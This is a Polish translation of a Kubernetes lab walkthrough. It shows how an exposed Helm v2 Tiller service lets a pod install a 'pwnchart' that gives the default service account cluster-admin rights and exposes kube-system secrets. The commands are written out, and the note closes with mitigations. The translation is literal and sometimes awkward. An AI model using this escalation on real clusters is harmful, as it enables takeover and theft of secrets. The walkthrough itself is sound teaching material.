Helm to menedżer pakietów dla Kubernetes, coś w tym stylu apt-get
dla Ubuntu. W tej nocie zobaczymy poprzednią wersję steru (v2) z domyślnie zainstalowaną usługą rumpla, poprzez którą będziemy mieli dostęp do klastra.
Przygotujmy klaster; w tym celu uruchom komendę:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
Demonstracja
- Jeśli nie skonfigurujesz niczego dodatkowego, Helm v2 uruchomi usługę rumpla, która ma RBAC z pełnymi uprawnieniami administratora klastra.
- Po instalacji w przestrzeni nazw
kube-system
pojawia siętiller-deploy
, a także otwiera port 44134 powiązany z 0.0.0.0. Można to sprawdzić za pomocą telnetu.
$ telnet tiller-deploy.kube-system 44134
- Teraz możesz połączyć się z usługą rumpla. Będziemy używać binarnego steru do wykonywania operacji podczas komunikacji z obsługą rumpla:
$ helm --host tiller-deploy.kube-system:44134 version
- Spróbujmy uzyskać sekrety klastra Kubernetes z przestrzeni nazw
kube-system
:
$ kubectl get secrets -n kube-system
- Teraz możemy stworzyć własny wykres, w którym utworzymy rolę z uprawnieniami administratora i przypiszemy tę rolę do domyślnego konta usługi. Korzystając z tokena z tego konta usługi, otrzymaliśmy pełny dostęp do naszego klastra.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Teraz kiedy
pwnchart
wdrożone, domyślne konto usługi ma pełny dostęp administracyjny. Sprawdźmy jeszcze raz jak zdobyć sekretykube-system
kubectl get secrets -n kube-system
Pomyślne wykonanie tego skryptu zależy od sposobu wdrożenia Tillera; czasami administratorzy wdrażają go w osobnej przestrzeni nazw z różnymi uprawnieniami. Helm 3 nie jest podatny na takie luki, ponieważ... nie ma w nim rumpla.
Uwaga tłumacza: Korzystanie z zasad sieciowych do filtrowania ruchu w klastrze pomaga chronić przed tego typu lukami.
Źródło: www.habr.com